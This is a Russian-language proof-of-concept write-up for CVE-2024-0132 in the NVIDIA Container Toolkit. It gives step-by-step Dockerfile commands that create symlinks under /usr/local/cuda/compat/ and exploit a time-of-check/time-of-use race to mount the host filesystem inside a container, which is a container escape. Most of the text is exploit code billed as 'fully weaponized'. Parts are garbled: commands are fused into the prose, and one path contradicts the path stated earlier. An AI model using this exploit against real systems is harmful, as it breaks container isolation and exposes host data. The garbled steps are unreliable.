
CVE-2024-0132 – Fully Weaponized NVIDIA Container Toolkit Exploit
CVE-2024-0132 PoC
Начнём с выбора базового образа. Расположение библиотек в системе зависит от того, какой это будет образ. Например, для alpine это будет /usr/lib64/, для ubuntu — /usr/lib/x86_64-linux-gnu. В качестве базового образа мы будем использовать ubuntu.
FROM ubuntu
Набор инструментов nvidia containter проверяет библиотеки в /usr/local/cuda/compat/ внутри контейнера, а затем монтирует их в главный каталог библиотек; для этого образа (ubuntu) это будет /usr/lib/x86_64-linux-gnu.
Ссылки также монтируются, поэтому вы можете смонтировать любой файл и каталог из образа в /usr/lib/x86_64-linux-gnu. При этом проверяется, что ссылка разрешается внутри контейнера; она не может использовать множественные ../ для обхода пути. Однако это можно обойти, используя монтирование внутри контейнера через /usr/local/cuda/compat/ дважды, следовательно, TOCTOU.
Подробнее о механизме монтирования из /usr/local/cuda/compat/:
RUN mkdir -p /usr/local/cuda/compat/
Создайте два каталога:
testRUN mkdir -p /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/
RUN echo test > /usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs
RUN mkdir -p /pwn/libdxcore.so.1337/
RUN ln -s ../../../../../../../../../ /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs
Имя libdxcore.so выбрано для соответствия фильтрам. Основная версия (1337) должна отличаться от реальной версии драйвера.
Создайте две ссылки в /usr/local/cuda/compat/:
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/ на /pwn/libdxcore.so.1337/RUN ln -s /pwn/libdxcore.so.1337 /usr/local/cuda/compat/libxxx.so.1
/usr/lib/x86_64-linux-gnu/libdxcore.so.1337/libdxcore.so.1337.hostfs в /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs. Во время проверки это будет обычный файл, но в момент монтирования это будет ссылка, которая находилась в /pwn/libdxcore.so.1337/libdxcore.so.1337.hostfs, таким образом файловая система хоста будет смонтирована в /usr/lib/x86_64-linux-gnu/libdxcore.so.1337.hostfs/.RUN ln -s /usr/lib64/libdxcore.so.1337/libdxcore.so.1337.hostfs /usr/local/cuda/compat/libxxx.so.2